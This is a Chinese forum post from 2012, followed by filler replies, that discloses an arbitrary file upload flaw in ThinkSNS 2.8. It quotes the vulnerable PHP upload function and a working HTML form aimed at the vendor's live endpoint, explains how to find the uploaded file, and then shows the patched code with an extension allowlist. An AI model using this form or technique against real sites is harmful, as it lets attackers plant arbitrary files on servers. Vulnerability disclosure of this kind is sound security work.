查看: 1938|回复: 25

ThinkSNS 2.8任意文件上传漏洞及修复

[复制链接]
发表于 2012-12-3 05:55:44 | 显示全部楼层 |阅读模式
微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
\api\StatusesApi.class.php

function uploadpic(){
      if( $_FILES['pic'] ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
return $result;
    }

unloadpic()方法没有对文件类型进行验证

可以构建表单, 选择任意文件, 提交到
/index.php?app=w3g&mod=Index&act=doPost

在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)


在登录thinksns官方微博后,
构建以下表单:

<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
<input type="submit" value="Post" />
</form>
去掉缩略图的前缀(small_ )
&#8203;修复方案:

\api\StatusesApi.class.php

function uploadpic(){
     /**
      * 20121018 @yelo
      * 增加上传类型验证
      */
     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];

$allowExts = array('jpg', 'png', 'gif', 'jpeg');
     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);

     if( $uploadCondition ){
     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
return $result;
    }


发表于 2012-12-11 05:55:59 | 显示全部楼层
拍脑袋决策,拍胸脯保证,拍屁股走人  
发表于 2012-12-17 05:14:44 | 显示全部楼层
看完了这么强的文章,我想说点什么,但是又不知道说什么好,想来想去只想  
发表于 2014-10-26 07:58:18 | 显示全部楼层
好人一个  
发表于 2014-11-5 14:53:29 | 显示全部楼层
我帮你 喝喝  
发表于 2014-11-18 08:02:49 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2014-12-5 21:10:39 | 显示全部楼层
支持你就顶你  
发表于 2014-12-29 04:44:38 | 显示全部楼层
来几句吧  
发表于 2015-1-29 01:05:40 | 显示全部楼层
支持一下吧  
发表于 2015-3-3 00:18:38 | 显示全部楼层
(*^__^*) 嘻嘻……  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则